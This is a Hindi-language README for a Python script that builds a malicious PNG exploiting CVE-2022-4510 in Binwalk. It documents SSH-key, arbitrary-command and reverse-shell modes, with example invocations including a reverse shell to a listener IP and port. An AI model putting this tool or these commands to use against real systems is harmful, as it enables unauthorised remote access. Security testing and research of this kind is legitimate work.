CVE-2022-4510-Binwalk

यह स्क्रिप्ट आपको CVE-2022-4510 Binwalk कमजोरियों को लक्षित करने के लिए एक्सप्लॉइट जनरेट करने की अनुमति देती है। एक्सप्लॉइट का उपयोग परीक्षण और प्रदर्शन के लिए किया जा सकता है। समर्थित विकल्पों में SSH, कमांड निष्पादन और रिवर्स शेल शामिल हैं।

आवश्यकताएँ

• Python 3.x

उपयोग

1. रिपॉजिटरी क्लोन करें या स्क्रिप्ट फ़ाइल डाउनलोड करें।
2. वांछित विकल्पों के साथ स्क्रिप्ट चलाएँ। उपलब्ध विकल्प हैं:
   • ssh: SSH के लिए एक्सप्लॉइट जनरेट करें।
     • तर्क:
       • file: इनपुट .png फ़ाइल का पथ।
       • pub: सार्वजनिक कुंजी फ़ाइल का पथ।
   • command: एक कमांड निष्पादित करने के लिए एक्सप्लॉइट जनरेट करें।
     • तर्क:
       • --command: निष्पादित करने का कमांड।
       • file: इनपुट .png फ़ाइल का पथ।
   • reverse: रिवर्स शेल के लिए एक्सप्लॉइट जनरेट करें।
     • तर्क:
       • file: इनपुट .png फ़ाइल का पथ।
       • ip: लिसनर का IP पता।
       • port: लिसनर का पोर्ट नंबर।

उपयोग के उदाहरण:

python exploit_generator.py ssh input.png public_key.pub
python exploit_generator.py command --command "ls -l" input.png
python exploit_generator.py reverse input.png 192.168.0.100 4444

आउटपुट

जनरेट किया गया एक्सप्लॉइट वर्तमान निर्देशिका में binwalk_exploit.png के रूप में सहेजा जाएगा।

अस्वीकरण

इस स्क्रिप्ट का जिम्मेदारी से उपयोग करें और केवल उन सिस्टम पर करें जिन पर आपको कमजोरियों का परीक्षण या प्रदर्शन करने की अनुमति है। लेखक इस स्क्रिप्ट के किसी भी अवैध या अनधिकृत उपयोग के लिए जिम्मेदार नहीं है।

संदर्भ

https://github.com/electr0sm0g/CVE-2022-4510